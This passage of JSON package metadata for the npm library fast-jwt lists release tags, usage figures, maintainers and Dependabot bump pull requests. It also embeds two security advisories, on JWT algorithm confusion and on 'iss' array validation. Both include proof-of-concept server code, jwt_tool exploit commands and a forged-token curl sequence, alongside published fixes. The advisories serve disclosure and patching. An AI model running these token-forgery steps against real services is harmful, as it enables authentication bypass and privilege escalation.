g_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.4.0/manifests"},{"name":"v0.3.1","sha":"18c56b0d9d2b6607f0e1c22c5f130e21f57d3249","kind":"tag","published_at":"2020-09-04T06:44:33.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v0.3.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"ef601872d33c438e61e4e440aa714c8daec8b2bd","kind":"tag","published_at":"2020-08-27T06:30:40.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v0.3.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.3.0/manifests"},{"name":"v0.2.0","sha":"1cfa5064c6d5190b47c450d543c59bb8303f06b3","kind":"commit","published_at":"2020-08-17T13:09:32.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v0.2.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.2.0/manifests"},{"name":"v0.1.1","sha":"4476dcfff678c27e506245a33293dce5781236e3","kind":"commit","published_at":"2020-06-23T09:27:10.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v0.1.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v0.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.1.1/manifests"},{"name":"v0.1.0","sha":"878469bd124161f35b43b38575f9d8a237c65061","kind":"commit","published_at":"2020-06-23T09:12:56.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v0.1.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.1.0/manifests"}]},"repo_metadata_updated_at":"2024-10-29T21:57:14.213Z","dependent_packages_count":64,"downloads":1313881,"downloads_period":"last-month","dependent_repos_count":1526,"rankings":{"downloads":0.30156546719529825,"dependent_repos_count":0.5175257957284857,"dependent_packages_count":0.49850700095498135,"stargazers_count":3.5122790339992536,"forks_count":4.782707257606457,"docker_downloads_count":0.5448746059851862,"average":1.6929098602449437},"purl":"pkg:npm/fast-jwt","advisories":[{"uuid":"GSA_kwCzR0hTQS1jMmZmLTg4eDIteDlwZ84AA3RL","url":"https://github.com/advisories/GHSA-c2ff-88x2-x9pg","title":"JWT Algorithm Confusion","description":"### Summary\nThe fast-jwt library does not properly prevent JWT algorithm confusion for all public key types.\n\n### Details\nThe 'publicKeyPemMatcher' in 'fast-jwt/src/crypto.js' does not properly match all common PEM formats for public keys. To exploit this vulnerability, an attacker needs to craft a malicious JWT token containing the HS256 algorithm, signed with the public RSA key of the victim application. This attack will only work if the victim application utilizes a public key containing the `BEGIN RSA PUBLIC KEY` header.\n\n### PoC\nTake a server running the following code:\n```javascript\nconst express = require('express');\nconst { createSigner, createVerifier } = require('fast-jwt')\nconst fs = require('fs');\nconst path = require('path');\n\nconst app = express();\nconst port = 3000;\n\n// Load the keys from the file\nconst publicKeyPath = path.join(__dirname, 'public_key.pem');\nconst publicKey = fs.readFileSync(publicKeyPath, 'utf8');\nconst privateKeyPath = path.join(__dirname, 'key');\nconst privateKey = fs.readFileSync(privateKeyPath, 'utf8');\n\napp.use(express.json());\n\n// Endpoint to generate a JWT token with admin: False\napp.get('/generateToken', async (req, res) =\u003e {\n  const payload = { admin: false, name: req.query.name };\n\n  const signSync = createSigner({ algorithm: 'RS256', key: privateKey });\n  const token = signSync(payload);\n  \n  res.json({ token });\n});\n\n// Middleware to verify the JWT token\nfunction verifyToken(req, res, next) {\n  const token = req.query.token;\n\n  const verifySync = createVerifier({ key: publicKey });\n  const payload = verifySync(token);\n\n  req.decoded = payload;\n  next();\n}\n\n// Endpoint to check if you are the admin or not\napp.get('/checkAdmin', verifyToken, (req, res) =\u003e {\n  res.json(req.decoded);\n});\n\napp.listen(port, () =\u003e {\n  console.log(`Server is running on port ${port}`);\n});\n```\n\nAssume the server generated their keys like follows:\n```\nssh-keygen -t rsa -b 2048 -m PEM\nssh-keygen -f key.pub -e -m PEM \u003e public_key.pem\n```\n\n**Public key recovery**\nFirst, an attacker needs to recover the public key from the server in any way possible. It is possible to extract this from just two JWT tokens as shown below.\nGrab two different JWT tokens and utilize the following tool: `https://github.com/silentsignal/rsa_sign2n/blob/release/standalone/jwt_forgery.py`\n```\npython3 jwt_forgery.py token1 token2\n```\nThe tool will generate 4 different public keys, all in different formats. Try the following for all 4 formats.\n\n**Algorithm confusion**\nChange the JWT to the HS256 algorithm and modify any of the contents to your liking at `https://jwt.io/`.\nCopy the resulting JWT token and use with the following tool: `https://github.com/ticarpi/jwt_tool`\n```\npython /opt/jwt_tool/jwt_tool.py --exploit k -pk public_key token\n```\nYou will now get a resulting JWT token that is validly signed.\n\n### Impact\nApplications using the RS256 algorithm, a public key with a `BEGIN RSA PUBLIC KEY` header, and calling the verify function without explicitly providing an algorithm, are vulnerable to this algorithm confusion attack which allows attackers to sign arbitrary payloads which will be accepted by the verifier.\n\n### Solution\n\nChange https://github.com/nearform/fast-jwt/blob/master/src/crypto.js#L29\n\n```javascript\nconst publicKeyPemMatcher = '-----BEGIN PUBLIC KEY-----'\n```\n\nto be regex: \n\n```javascript\nconst publicKeyPemMatcher = /^-----BEGIN( RSA)? PUBLIC KEY-----/\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-11-20T20:58:56.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N","references":["https://github.com/nearform/fast-jwt/security/advisories/GHSA-c2ff-88x2-x9pg","https://nvd.nist.gov/vuln/detail/CVE-2023-48223","https://github.com/nearform/fast-jwt/commit/15a6e92c9adb39acde41a9b11cec0cbde8ad763b","https://github.com/nearform/fast-jwt/blob/master/src/crypto.js#L29","https://github.com/nearform/fast-jwt/releases/tag/v3.3.2","https://github.com/advisories/GHSA-c2ff-88x2-x9pg"],"source_kind":"github","identifiers":["GHSA-c2ff-88x2-x9pg","CVE-2023-48223"],"repository_url":"https://github.com/nearform/fast-jwt","blast_radius":18.782971748351283,"packages":[{"versions":[{"first_patched_version":"3.3.2","vulnerable_version_range":"\u003c 3.3.2"}],"ecosystem":"npm","package_name":"fast-jwt"}],"created_at":"2023-11-20T21:05:53.530Z","updated_at":"2023-11-20T20:58:56.000Z","epss_percentage":0.00225,"epss_percentile":0.42596},{"uuid":"GSA_kwCzR0hTQS1nbTQ1LXEzdjItNmNmOM4ABFpe","url":"https://github.com/advisories/GHSA-gm45-q3v2-6cf8","title":"Fast-JWT Improperly Validates iss Claims","description":"### Summary\nThe `fast-jwt` library does not properly validate the `iss` claim based on the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.\n\n#### Details\nThe `iss` (issuer) claim validation within the fast-jwt library permits an array of strings as a valid `iss` value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an `iss` claim structured as `['https://attacker-domain/', 'https://valid-iss']`. Due to the permissive validation, the JWT will be deemed valid.\n\nFurthermore, if the application relies on external libraries like `get-jwks` that do not independently validate the `iss` claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the `iss` array, alongside the legitimate issuer, and bypass the intended security checks.\n\n#### PoC\nTake a server running the following code:\n\n```js\nconst express = require('express')\nconst buildJwks = require('get-jwks')\nconst { createVerifier } = require('fast-jwt')\n\nconst jwks = buildJwks({ providerDiscovery: true });\nconst keyFetcher = async (jwt) =\u003e\n    jwks.getPublicKey({\n        kid: jwt.header.kid,\n        alg: jwt.header.alg,\n        domain: jwt.payload.iss\n    });\n\n\nconst jwtVerifier = createVerifier({\n    key: keyFetcher,\n    allowedIss: 'https://valid-iss',\n});\n\nconst app = express();\nconst port = 3000;\n\napp.use(express.json());\n\n\nasync function verifyToken(req, res, next) {\n  const headerAuth = req.headers.authorization.split(' ')\n  let token = '';\n  if (headerAuth.length \u003e 1) {\n    token = headerAuth[1];\n  }\n\n  const payload = await jwtVerifier(token);\n\n  req.decoded = payload;\n  next();\n}\n\n// Endpoint to check if you are auth or not\napp.get('/auth', verifyToken, (req, res) =\u003e {\n  res.json(req.decoded);\n});\n\napp.listen(port, () =\u003e {\n  console.log(`Server is running on port ${port}`);\n});\n```\n\nNow we build a server that will be used to generate the JWT token and send the verification keys to the victim server:\n\n```js\nconst { generateKeyPairSync } = require('crypto');\nconst express = require('express');\nconst pem2jwk = require('pem2jwk');\nconst jwt = require('jsonwebtoken');\n\nconst app = express();\nconst port = 3001;\nconst host = `http://localhost:${port}/`;\n\nconst { publicKey, privateKey } = generateKeyPairSync(\"rsa\", \n    {   modulusLength: 4096,\n        publicKeyEncoding: { type: 'pkcs1', format: 'pem' },\n        privateKeyEncoding: { type: 'pkcs1', format: 'pem' },\n    },\n); \nconst jwk = pem2jwk(publicKey);\n\napp.use(express.json());\n\n// Endpoint to create token\napp.post('/create-token', (req, res) =\u003e {\n  const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'],  }, privateKey, { algorithm: 'RS256' });\n  res.send(token);\n});\n\napp.get('/.well-known/jwks.json', (req, res) =\u003e {\n    return res.json({\n        keys: [{\n            ...jwk,\n            alg: 'RS256',\n            use: 'sig',\n        }]\n    });\n})\n\napp.all('*', (req, res) =\u003e {\n    return res.json({\n        \"issuer\": host,\n        \"jwks_uri\": host + '.well-known/jwks.json'\n    });\n});\n\napp.listen(port, () =\u003e {\n  console.log(`Server is running on port ${port}`);\n});\n```\n\n\n```bash\nexport TOKEN=$(curl -X POST http://localhost:3001/create-token -H \"Content-Type: application/json\" -d '{\"name\": \"test\"}')\ncurl -X GET http://localhost:3000/auth -H \"Authorization: Bearer $TOKEN\"\n```\n\n#### Impact\nApplications relaying on the validation of the `iss` claim by fast-jwt allows attackers to sign arbitrary payloads which will be accepted by the verifier.\n\n#### Solution\nChange https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 to a validator tha accepts only string for the value as stated in the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-03-19T15:48:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N","references":["https://github.com/nearform/fast-jwt/security/advisories/GHSA-gm45-q3v2-6cf8","https://github.com/nearform/fast-jwt/commit/cc26b1d473f900446ad846f8f0b10eb1c0adcbdd","https://nvd.nist.gov/vuln/detail/CVE-2025-30144","https://datatracker.ietf.org/doc/html/rfc7519#page-9","https://github.com/advisories/GHSA-gm45-q3v2-6cf8"],"source_kind":"github","identifiers":["GHSA-gm45-q3v2-6cf8","CVE-2025-30144"],"repository_url":"https://github.com/nearform/fast-jwt","blast_radius":20.6931044685226,"packages":[{"versions":[{"first_patched_version":"5.0.6","vulnerable_version_range":"\u003c 5.0.6"}],"ecosystem":"npm","package_name":"fast-jwt"}],"created_at":"2025-03-19T16:08:10.999Z","updated_at":"2025-03-20T18:58:43.000Z","epss_percentage":0.00014,"epss_percentile":0.01178}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/fast-jwt","docker_dependents_count":65,"docker_downloads_count":191441,"usage_url":"https://repos.ecosyste.ms/usage/npm/fast-jwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/fast-jwt/dependencies","status":null,"funding_links":[],"critical":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/fast-jwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/fast-jwt/version_numbers","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/fast-jwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/fast-jwt/related_packages","maintainers":[{"uuid":"matteo.collina","login":"matteo.collina","name":null,"email":"hello@matteocollina.com","url":null,"packages_count":605,"html_url":"https://www.npmjs.com/~matteo.collina","role":null,"created_at":"2022-11-12T08:07:40.332Z","updated_at":"2022-11-12T08:07:40.332Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/matteo.collina/packages"},{"uuid":"simoneb","login":"simoneb","name":null,"email":"simone.busoli@gmail.com","url":null,"packages_count":303,"html_url":"https://www.npmjs.com/~simoneb","role":null,"created_at":"2023-01-10T15:44:08.241Z","updated_at":"2023-01-10T15:44:08.241Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/simoneb/packages"},{"uuid":"lucalanziani","login":"lucalanziani","name":null,"email":"luca@lanziani.com","url":null,"packages_count":114,"html_url":"https://www.npmjs.com/~lucalanziani","role":null,"created_at":"2023-12-12T17:54:22.861Z","updated_at":"2023-12-12T17:54:22.861Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/lucalanziani/packages"},{"uuid":"donal.moynihan","login":"donal.moynihan","name":null,"email":"donal.moynihan@nearform.com","url":null,"packages_count":94,"html_url":"https://www.npmjs.com/~donal.moynihan","role":null,"created_at":"2023-01-10T15:44:08.209Z","updated_at":"2023-01-10T15:44:08.209Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/donal.moynihan/packages"},{"uuid":"eamonn.frisby","login":"eamonn.frisby","name":null,"email":"eamonn.frisby@nearform.com","url":null,"packages_count":94,"html_url":"https://www.npmjs.com/~eamonn.frisby","role":null,"created_at":"2023-01-10T15:44:08.420Z","updated_at":"2023-01-10T15:44:08.420Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/eamonn.frisby/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5008192,"maintainers_count":1013077,"namespaces_count":295677,"keywords_count":700469,"github":"npm","metadata":{"funded_packages_count":150263},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2025-06-07T05:25:21.688Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}},"unique_repositories_count":43,"unique_repositories_count_past_30_days":3,"recent_issues":[{"uuid":"4408009032","node_id":"PR_kwDORuih1c7ZnXcN","number":183,"state":"closed","title":"chore(deps): bump fast-jwt from 6.2.2 to 6.2.4","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-10T01:11:38.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-08T16:57:39.000Z","updated_at":"2026-05-10T01:11:49.000Z","time_to_close":116039,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)","packages":[{"name":"fast-jwt","old_version":"6.2.2","new_version":"6.2.4","repository_url":"https://github.com/nearform/fast-jwt"}],"path":null,"ecosystem":"npm"},"body":"Bumps [fast-jwt](https://github.com/nearform/fast-jwt) from 6.2.2 to 6.2.4.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.2.4\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: reject empty HMAC secret in prepareKeyOrSecret (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/609\"\u003e#609\u003c/a\u003e) by \u003ca href=\"https://github.com/SociableSteve\"\u003e\u003ccode\u003e@​SociableSteve\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/610\"\u003enearform/fast-jwt#610\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.2.3...v6.2.4\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.2.3...v6.2.4\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.2.3\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(deps-dev): bump typescript from 5.9.3 to 6.0.3 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/604\"\u003enearform/fast-jwt#604\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: strict base64url validation on verify (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/606\"\u003e#606\u003c/a\u003e) by \u003ca href=\"https://github.com/mvanhorn\"\u003e\u003ccode\u003e@​mvanhorn\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/607\"\u003enearform/fast-jwt#607\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mvanhorn\"\u003e\u003ccode\u003e@​mvanhorn\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/607\"\u003enearform/fast-jwt#607\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.2.2...v6.2.3\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.2.2...v6.2.3\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/044bf42c8e0a2eda8afc0819f97ae435c4214e3c\"\u003e\u003ccode\u003e044bf42\u003c/code\u003e\u003c/a\u003e Release v6.2.4 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/611\"\u003e#611\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/4e5b5708b6a9bfa5b06b5b10f888084b754c740d\"\u003e\u003ccode\u003e4e5b570\u003c/code\u003e\u003c/a\u003e fix: reject empty HMAC secret in prepareKeyOrSecret (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/609\"\u003e#609\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/610\"\u003e#610\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/ab7e46cd66b1ddff689c0b91a0392fef52a37df6\"\u003e\u003ccode\u003eab7e46c\u003c/code\u003e\u003c/a\u003e Release v6.2.3 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/608\"\u003e#608\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/111286c9b650e089d6fdef939646d234064da3de\"\u003e\u003ccode\u003e111286c\u003c/code\u003e\u003c/a\u003e fix: strict base64url validation on verify (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/606\"\u003e#606\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/607\"\u003e#607\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/0a0cdba904a7b3b38686a64c0339443fecdaa3a5\"\u003e\u003ccode\u003e0a0cdba\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump typescript from 5.9.3 to 6.0.3 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/604\"\u003e#604\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.2.2...v6.2.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=fast-jwt\u0026package-manager=npm_and_yarn\u0026previous-version=6.2.2\u0026new-version=6.2.4)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/arediss/Oscarr/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/arediss/Oscarr/pull/183","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/arediss%2FOscarr/issues/183","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/183/packages"},{"uuid":"4406318618","node_id":"PR_kwDOSGlkY87Zhwvw","number":30,"state":"open","title":"Bump fast-jwt from 6.2.2 to 6.2.4","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-05-08T12:17:16.000Z","updated_at":"2026-05-08T12:17:23.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"fast-jwt","old_version":"6.2.2","new_version":"6.2.4","repository_url":"https://github.com/nearform/fast-jwt"}],"path":null,"ecosystem":"npm"},"body":"Bumps [fast-jwt](https://github.com/nearform/fast-jwt) from 6.2.2 to 6.2.4.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.2.4\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: reject empty HMAC secret in prepareKeyOrSecret (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/609\"\u003e#609\u003c/a\u003e) by \u003ca href=\"https://github.com/SociableSteve\"\u003e\u003ccode\u003e@​SociableSteve\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/610\"\u003enearform/fast-jwt#610\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.2.3...v6.2.4\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.2.3...v6.2.4\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.2.3\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(deps-dev): bump typescript from 5.9.3 to 6.0.3 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/604\"\u003enearform/fast-jwt#604\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: strict base64url validation on verify (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/606\"\u003e#606\u003c/a\u003e) by \u003ca href=\"https://github.com/mvanhorn\"\u003e\u003ccode\u003e@​mvanhorn\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/607\"\u003enearform/fast-jwt#607\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mvanhorn\"\u003e\u003ccode\u003e@​mvanhorn\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/607\"\u003enearform/fast-jwt#607\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.2.2...v6.2.3\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.2.2...v6.2.3\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/044bf42c8e0a2eda8afc0819f97ae435c4214e3c\"\u003e\u003ccode\u003e044bf42\u003c/code\u003e\u003c/a\u003e Release v6.2.4 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/611\"\u003e#611\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/4e5b5708b6a9bfa5b06b5b10f888084b754c740d\"\u003e\u003ccode\u003e4e5b570\u003c/code\u003e\u003c/a\u003e fix: reject empty HMAC secret in prepareKeyOrSecret (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/609\"\u003e#609\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/610\"\u003e#610\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/ab7e46cd66b1ddff689c0b91a0392fef52a37df6\"\u003e\u003ccode\u003eab7e46c\u003c/code\u003e\u003c/a\u003e Release v6.2.3 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/608\"\u003e#608\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/111286c9b650e089d6fdef939646d234064da3de\"\u003e\u003ccode\u003e111286c\u003c/code\u003e\u003c/a\u003e fix: strict base64url validation on verify (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/606\"\u003e#606\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/607\"\u003e#607\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/0a0cdba904a7b3b38686a64c0339443fecdaa3a5\"\u003e\u003ccode\u003e0a0cdba\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump typescript from 5.9.3 to 6.0.3 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/604\"\u003e#604\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.2.2...v6.2.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr 